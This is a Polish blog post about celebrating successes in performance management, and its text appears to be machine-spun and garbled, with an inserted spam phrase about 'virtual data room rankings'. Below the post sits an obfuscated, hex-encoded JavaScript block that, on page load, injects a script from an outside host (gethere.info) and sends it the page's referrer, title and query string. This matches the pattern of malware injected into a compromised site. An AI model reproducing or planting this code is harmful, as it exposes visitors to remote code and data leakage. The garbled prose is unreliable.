Swietuj swoje sukcesy!

Swietuj swoje sukcesy!

Swietuj swoje sukcesy!

Jesli od pewnego czasu monitorujesz dzialalnosc, zaloga lub osobowa wydajnosc, musisz swietowac! Nawet gdy nadal nie osiagnales wlasnych celA?w albo nawet jezeli nadal odrzucic masz waznych ulepszen skutecznosci, swietowanie mialo byc planowym elementem kierowania wydajnoscia Twej wlasnej firmy.

trzy wazne motywy do swietowania sukcesA?w przy grze

Przede wszystkim, celebrowanie wstrzykuje pozytywne uczucia w typowo suche kierowanie wydajnoscia. Mierzenie wydajnosci niewatpliwie nie odnosi sie tylko liczb. Chodzi na temat zmiany, jakich oczekujemy na sprawach, ktA?re sa dla osA?b wazne, o to, w jaki sposA?b nam pozostaje w zaleznosci, lub o silne uczucia. Swietowanie triumfA?w na sukcesach mocno ogniskuje nasza uwage na wielkich osiagnietych przeze mnie rzeczach, w jakikolwiek sposA?b malych. Wspiera rozrzedzic zadlo negatywnych wynikA?w lub niedobrych informacji zwrotnych, na ktA?re ludzka natura kieruje nasza uwage w calej strone znacznie wiekszego obciazania niz porzadne rezultaty.

Po 2gie, celebrowanie buduje rozped w odniesieniu do twoim celom wydajnosci. W szczegA?lnosci, gdy ustawisz cele etapowe w ustalonym przedziale czasowym na zasadnicze cele, celebruje postepy, konsolidujac to, co ponadto dziala, jak i rA?wniez przypomina, ze masz oddzialywanie i kontrole nad wynikami osiagniec.

Po trzecie, uroczystosc przypomina wam, co jest najwazniejsze. Naslonecznienie swietowania ogniskuje twoja atencje na tymze, czego potrzebujesz wiecej, nie zaakceptowac rozprasza cie sposrA?d obfitym naciskiem na to, ktA?rych chcesz w mniejszym stopniu. Zarzadzanie skutecznoscia jest zbytnio latwe po rozwiazywaniu zagrozen. Gdy obserwacja skupia sie na przeplywie energii. W ktA?rym miejscu chcesz przeplyw energii w twoim interesie?

Ale ktA?re sukcesy mozesz swietowac? Wybierz i sprawdz kilka malutkich celA?w pod drodze do uzyskania kompletnego pulpitu kontroli wydajnosci, ktA?ry mA?wi wszystko, co musisz wiedziec na temat wynikach Twojej wlasnej firmy. Swietowanie tych planA?w bedzie przypominac o dobrych wynikach pomiaru, budowac pod swoim rozmachu w stylu swoich celA?w. Wez pod rozwage swietowanie tego rodzaju planA?w:

  • Swietuj, podczas gdy w koncu wybrales zestaw miar wydajnosci, sposrA?d ktA?rych TwA?j zespA?l wydaje sie podekscytowany badz przynajmniej odczuwasz sie zmuszony do raportowania i uzycia.
  • Swietuj, kiedy wprowadziles srodek do zycia a mianowicie nawet jakas miare – dzieki z jakiego powodu otrzymujesz dzisiaj informacje i uzywasz srodka, azeby zywic decyzje, ktA?re beda odrobine madrzejsze!
  • Swietuj, kiedy dowiesz sie, w jakim celu wydajnosc nie jest w tym miejscu, gdzie zechcesz, i dysponujesz teraz potezniejszy wybA?r a mianowicie lepszy selekcja – jak wplynac za te wydajnosc.
  • Swietuj, jak twA?j miernik wydajnosci reaguje dzieki polepszenia, ktA?re czynisz.
  • Swietujcie, wA?wczas gdy widzicie, ze wasza zakres wydajnosci w calej ogA?le odrzucic reaguje na ulepszenia, ktA?re robicie (nauczyliscie sie, jak nie operuje – nieslychanie wazne).
  • Swietuj zdobycie celA?w etapowych po trasie do odwiedzenia swoich ostatecznych planA?w. Pomaga, o ile ulatwisz w domu wczesniejsze cele, sukcesywnie budujac wyzwanie proporcjonalnie do rytmu, ktA?re uzyskuje wszelkie uzyskanie.
  • Jak i rA?wniez naturalnie swietuj, kiedy zdobedziesz wlasne ostateczne zamiary!
  • Jak swietujesz triumfy w pracach nad produktem?
  • Dziala wiele rodzajA?w pod swietowanie rozwoju po okreslaniu rezultatami biznesowymi. Jednakze wyznacz owe, ktA?re maja przeslanie dla nowego personelu, ktA?re, biorac pod spodem uwage katalogA?w wartosci, virtual data room rankings sa naprawde doceniane.
  • Wez udzial w ceremonii wreczenia nagrA?d (powaznej lub niefrasobliwej), aby nagrodzic i rozpoznac osoby, ktA?re odegraly nadzwyczajna role w calej osiaganiu obecnych sukcesA?w.
  • Miec impreze! Najzwyczajniej w swiecie upewnij sie, ze uczestnik przyjecia jest jasny a mianowicie byc ma mozliwosc podporzadkuj fita celom, ktA?re zyskuja (np. Przyjecie urodzinowe gwoli nieznanych miar wydajnosci).
  • Po raz kolejny zainwestuj odsetek profitA?w sposrA?d naprawy skutecznosci, takich jak zaoszczedzony czas, zaoszczedzone pieniazki czy tez dodatkowe srodki utrzymania, po obszarze robocie, zeby wszelcy potrafili sie napawac a mianowicie ekspres do kawy, taboret do masazu, cotygodniowe dostawy nowych kwiatA?w, miski swiezych cytrusA?w codziennie. Obojetnie od tegoz, jakie mozliwosci w najwiekszym stopniu docenia Twoi personel.
  • Jak i rA?wniez wiele razy zwyczajne, serdeczne “dziekuje” jest kazdej osobie, czego koniecznosc.
  • , ktA?rzy ostatnimi czasy osiagneliscie Panstwo i Panstwa team przy okreslaniu artykulami biznesowymi? Albo aktualnie wA?wczas obchodziliscie? Napisz do mnie e-mail i oddaj jest poznac, jak to swietujesz!

    var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}

    ABOUT AUTHOR

    Nileshbhai Adesara